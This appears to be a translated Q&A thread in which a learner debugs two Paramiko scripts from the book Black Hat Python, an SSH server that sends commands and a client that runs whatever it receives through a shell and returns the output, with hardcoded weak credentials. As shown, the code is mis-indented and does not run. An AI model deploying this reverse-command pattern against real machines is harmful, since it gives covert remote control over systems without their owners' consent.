Python脚本运行但不执行任何操作

时间:2015-06-06 04:18:17

标签: python ssh

最近,我对渗透测试产生了兴趣。在投资一个完整的课程之前,我决定尝试学习如何编写一些脚本。目前,我正在研究Justin Seitz的Black Hat Python一书。

我在使用Paramiko的SSH部分,其中两个脚本让我难过。它们都运行没有错误但屏幕上没有显示任何内容。在Windows和Linux中,终端(或DOS提示符)只是立即返回到提示符。我已经多次查看脚本并找不到问题。这两个脚本的代码如下所示。

脚本#1 bh_sshserver.py(此脚本的目的是创建一个ssh服务器)

import socket
import paramiko
import threading
import sys



class Server (paramiko.ServerInterface):
   def _init_(self):
      self.event = threading.Event()
      def check_channel_request(self, kind, chanid):
         if kind == 'session':
            return
         paramiko.OPEN_SUCCEEDED
         return
      paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

      def check_auth_password(self, username, password):
         if (username == 'root') and (password == '12345'):
            return paramiko.AUTH_SUCCESSFUL
         return paramiko.AUTH_FAILED
      server = sys.argv[1]
      ssh_port = sys.argv[2]
      try:
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         sock.bind((server, ssh_port))
         sock.listen(100)
         print '[+] Listening for connection...'
         client, addr = sock.accept()
      except Exception, e:
         print ' [-] Listen Failed: ' + str(e)
         sys.exit(1)
         print '[+] Got a connection'

         try:
            bhSession = paramiko.Transport(client)
            bhSession.add_server_key(host_key)
            server = Server()
            try:
               bhSession.start_server(server=server)
            except paramiko.SSHException, x:
               print '[-] SSH Negotiation Failed'

               chan = bhSession.accept(20)
               print '[+] Authenticated!'
               print chan.recv(1024)
               chan.send ('Welcome to bh_ssh')
               while True:
                  try:
                     command= raw_input("Enter command: ").strip('\n')
                     if command != 'exit':
                        chan.send(command)
                        print chan.recv(1024) + '\n'
                     else:
                        chan.send('exit')
                        print 'exiting'
                        bhSession.close()
                        raise Exception ('exit')
                  except KeyboardInterrupt:
                     bhSession.close()
         except Exception, e:
            print '[-] Caught exception: ' + str(e)
            try:
               bhSession.close()
            except:
               pass
            sys.exit(1)

脚本#2 bh_sshRcmd.py(此脚本的目的是为ssh服务器创建一个命令接收器以进行连接)

import threading 
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()

    #client.load host keys ('/home/root/.ssh/known_hosts')

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)

        # Read the banner

        while True:
            command = ssh_session.recv(1024)
            # Get Command from SSH Server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
                client.close()
            return
        ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')

这两个脚本都是用Windows编写的,所以不需要顶部的shebang语句(即#!/usr/bin/python)。我将它们复制到Linux VM并添加了该语句,并使用chmod +x使它们可执行。但是,脚本运行时屏幕上仍然没有显示任何内容。 IP地址来自VMware虚拟网络,以前从未给我带来任何问题。

3 个答案:

答案 0 :(得分:0)

连接到服务器时可能出错。尝试添加更多的print语句来涵盖这样的条件:

import threading 
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
    client = paramiko.SSHClient()

    #client.load host keys ('/home/root/.ssh/known_hosts')

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        print 'ssh_session is active'
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)

        # Read the banner

        while True:
            print 'recv-ing'
            command = ssh_session.recv(1024)
            # Get Command from SSH Server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
                client.close()
            return
    else:
        print 'ssh_session is not active'

ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')

对于bh_sshserver.py,如果您运行python bh_sshserver.py,则不会发生任何事情。这是因为你在主范围内没有任何陈述。如果你想启动服务器,你可以在没有缩进的情况下将代码添加到脚本的底部。

答案 1 :(得分:0)

  • 您应该使用命令行参数从终端呼叫您的服务器,如下所示:
    python scriptname.py server_adress port
  • 更改客户端脚本最后一行的缩进 - 它应该调用您的函数
  • 终端和客户端功能中的服务器地址应该相同

几乎所有

如果您需要,我可以为您提供适合我的这两个脚本。

答案 2 :(得分:0)

感谢所有回复的人。最后,我发现了一些来自github的Paramiko演示文件,其中包含一个示例SSH服务器。事实证明,脚本比作者要实现的要复杂得多。我丢失了大量代码,这就是服务器无法运行的原因。一旦我使我的脚本与样本粗略匹配,它就完美地工作了,我的客户也是如此。

如果有人遇到类似的问题,这里是Paramiko演示文件的链接:

https://github.com/paramiko/paramiko/tree/master/demos

相关问题